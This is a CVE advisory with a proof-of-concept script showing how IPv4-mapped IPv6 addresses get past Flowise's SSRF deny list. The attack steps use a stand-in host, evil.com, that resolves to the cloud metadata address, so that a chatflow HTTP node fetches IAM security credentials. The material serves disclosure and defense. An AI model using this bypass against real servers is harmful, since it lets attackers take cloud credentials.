CVE-2026-69257: Flowise SSRF Protection Bypass via IPv4-Mapped IPv6 Addresses

// Verify the bypass with ipaddr.js 2.2.0 (exact version Flowise uses)
const ipaddr = require('ipaddr.js');

// Step 1: Attacker sets AAAA record: evil.com -> ::ffff:169.254.169.254
// Step 2: Attacker points a chatflow HTTP Node at http://evil.com/latest/meta-data/iam/security-credentials/
// Step 3: Flowise resolves the hostname and calls isDeniedIP with the result

const attackerIP = '::ffff:169.254.169.254'; // returned by dns.lookup with family:6
const denyList = [
    '169.254.0.0/16',   // cloud metadata
    '127.0.0.0/8',      // loopback
    '10.0.0.0/8',       // RFC1918
    '172.16.0.0/12',    // RFC1918
    '192.168.0.0/16',   // RFC1918
];

const parsedIp = ipaddr.parse(attackerIP);
console.log('kind:', parsedIp.kind());              // 'ipv6'
console.log('isIPv4Mapped:', parsedIp.isIPv4MappedAddress()); // true
console.log('maps to:', parsedIp.toIPv4Address().toString()); // '169.254.169.254'

for (const entry of denyList) {
    const [range] = entry.split('/');
    const parsedRange = ipaddr.parse(range);
    // parsedIp.kind()='ipv6' vs parsedRange.kind()='ipv4' -> always false
    const kindMatch = parsedIp.kind() === parsedRange.kind();
    console.log(`${entry}: kind match = ${kindMatch}`); // ALL false -> CIDR check skipped
}
// Result: request to http://evil.com/ is ALLOWED and reaches 169.254.169.254